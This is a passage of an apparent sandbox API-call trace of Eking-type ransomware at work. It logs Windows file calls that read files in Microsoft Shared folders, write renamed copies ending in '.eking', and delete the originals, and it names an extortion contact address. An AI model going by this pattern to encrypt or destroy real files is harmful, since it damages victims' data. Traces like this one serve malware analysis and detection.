hFile=0xc0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0267.602] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0267.602] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0267.602] WriteFile (in: hFile=0xcc, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x11d78, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x11d78, lpOverlapped=0x0) returned 1 [0267.603] FlushFileBuffers (hFile=0xcc) returned 1 [0267.607] FlushFileBuffers (hFile=0xc0) returned 1 [0267.610] CloseHandle (hObject=0xcc) returned 1 [0267.611] CloseHandle (hObject=0xc0) returned 1 [0267.611] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt")) returned 1 [0267.613] SetEvent (hEvent=0xe0) returned 1 [0267.613] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0267.613] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=302976) returned 1 [0267.613] CloseHandle (hObject=0xc0) returned 1 [0267.613] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt")) returned 0x20 [0267.614] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt")) returned 0x20 [0267.614] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0267.614] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0267.614] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0267.614] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0267.614] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xcc [0267.614] ReadFile (in: hFile=0xc0, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x49f80, lpOverlapped=0x0) returned 1 [0267.625] WriteFile (in: hFile=0xcc, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x49f90, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x49f90, lpOverlapped=0x0) returned 1 [0267.631] WriteFile (in: hFile=0xcc, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0267.632] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0267.632] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0267.632] WriteFile (in: hFile=0xc0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x49f80, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x49f80, lpOverlapped=0x0) returned 1 [0267.633] FlushFileBuffers (hFile=0xc0) returned 1 [0267.638] FlushFileBuffers (hFile=0xcc) returned 1 [0267.641] CloseHandle (hObject=0xc0) returned 1 [0267.641] CloseHandle (hObject=0xcc) returned 1 [0267.641] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt")) returned 1 [0267.645] SetEvent (hEvent=0xe0) returned 1 [0267.645] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcc [0267.646] GetFileSizeEx (in: hFile=0xcc, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=280448) returned 1 [0267.646] CloseHandle (hObject=0xcc) returned 1 [0267.646] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt")) returned 0x20 [0267.646] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt")) returned 0x20 [0267.646] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0267.646] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcc [0267.647] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0267.647] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0267.647] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xc0 [0267.647] ReadFile (in: hFile=0xcc, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x44780, lpOverlapped=0x0) returned 1 [0267.654] WriteFile (in: hFile=0xc0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x44790, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x44790, lpOverlapped=0x0) returned 1 [0267.661] WriteFile (in: hFile=0xc0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0267.661] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0267.661] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0267.661] WriteFile (in: hFile=0xcc, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x44780, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x44780, lpOverlapped=0x0) returned 1 [0267.662] FlushFileBuffers (hFile=0xcc) returned 1 [0267.667] FlushFileBuffers (hFile=0xc0) returned 1 [0267.671] CloseHandle (hObject=0xcc) returned 1 [0267.671] CloseHandle (hObject=0xc0) returned 1 [0267.672] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt")) returned 1 [0267.676] SetEvent (hEvent=0xe0) returned 1 [0267.676] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0267.676] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=1257984) returned 1 [0267.676] CloseHandle (hObject=0xc0) returned 1 [0267.677] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll")) returned 0x20 [0267.677] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll")) returned 0x20 [0267.677] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0267.677] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0267.677] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0267.677] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0267.677] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xcc [0267.678] ReadFile (in: hFile=0xc0, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x110100, lpOverlapped=0x0) returned 1 [0267.771] WriteFile (in: hFile=0xcc, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x110100, lpOverlapped=0x0) returned 1 [0267.798] ReadFile (in: hFile=0xc0, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x23100, lpOverlapped=0x0) returned 1 [0267.799] WriteFile (in: hFile=0xcc, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x23110, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x23110, lpOverlapped=0x0) returned 1 [0267.813] WriteFile (in: hFile=0xcc, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0267.814] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0267.814] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0267.862] WriteFile (in: hFile=0xc0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x110102, lpOverlapped=0x0) returned 1 [0267.892] WriteFile (in: hFile=0xc0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x230fe, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x230fe, lpOverlapped=0x0) returned 1 [0267.893] FlushFileBuffers (hFile=0xc0) returned 1 [0268.022] FlushFileBuffers (hFile=0xcc) returned 1 [0268.035] CloseHandle (hObject=0xc0) returned 1 [0268.035] CloseHandle (hObject=0xcc) returned 1 [0268.035] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll")) returned 1 [0268.046] SetEvent (hEvent=0xe0) returned 1 [0268.047] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcc [0268.047] GetFileSizeEx (in: hFile=0xcc, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=1831424) returned 1 [0268.047] CloseHandle (hObject=0xcc) returned 1 [0268.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll")) returned 0x20 [0268.048] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0268.050] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcc [0268.051] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0268.051] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0268.051] ReadFile (in: hFile=0xcc, lpBuffer=0x3250058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x3250058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0268.054] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x950aa, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0268.054] ReadFile (in: hFile=0xcc, lpBuffer=0x3290058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x3290058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0268.063] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x17f200, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0268.063] ReadFile (in: hFile=0xcc, lpBuffer=0x32d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x32d0058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0268.075] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9a8 | out: lpNewFilePointer=0x0) returned 1 [0268.075] WriteFile (in: hFile=0xcc, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xc0112, lpOverlapped=0x0) returned 1 [0268.300] SetEndOfFile (hFile=0xcc) returned 1 [0268.300] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x17f200, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0268.300] WriteFile (in: hFile=0xcc, lpBuffer=0x331014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331014a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0268.303] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x950aa, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0268.303] WriteFile (in: hFile=0xcc, lpBuffer=0x331014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331014a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0268.306] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0268.306] WriteFile (in: hFile=0xcc, lpBuffer=0x331014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331014a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0268.308] FlushFileBuffers (hFile=0xcc) returned 1 [0268.966] CloseHandle (hObject=0xcc) returned 1 [0269.092] SetEvent (hEvent=0xe0) returned 1 [0269.093] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabIpsps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcc [0269.094] GetFileSizeEx (in: hFile=0xcc, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=40448) returned 1 [0269.094] CloseHandle (hObject=0xcc) returned 1 [0269.094] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabIpsps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll")) returned 0x20 [0269.094] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabIpsps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll")) returned 0x20 [0269.095] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabIpsps.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0269.095] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabIpsps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.095] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcc [0269.095] GetFileSizeEx (in: hFile=0xcc, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=448000) returned 1 [0269.095] CloseHandle (hObject=0xcc) returned 1 [0269.096] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll")) returned 0x20 [0269.096] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll")) returned 0x20 [0269.096] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tabskb.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0269.096] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.096] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcc [0269.097] GetFileSizeEx (in: hFile=0xcc, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=224256) returned 1 [0269.097] CloseHandle (hObject=0xcc) returned 1 [0269.097] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe")) returned 0x20 [0269.097] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe")) returned 0x20 [0269.097] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0269.097] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.097] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcc [0269.098] GetFileSizeEx (in: hFile=0xcc, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=3584) returned 1 [0269.098] CloseHandle (hObject=0xcc) returned 1 [0269.098] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui")) returned 0x20 [0269.098] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui")) returned 0x20 [0269.098] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0269.098] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 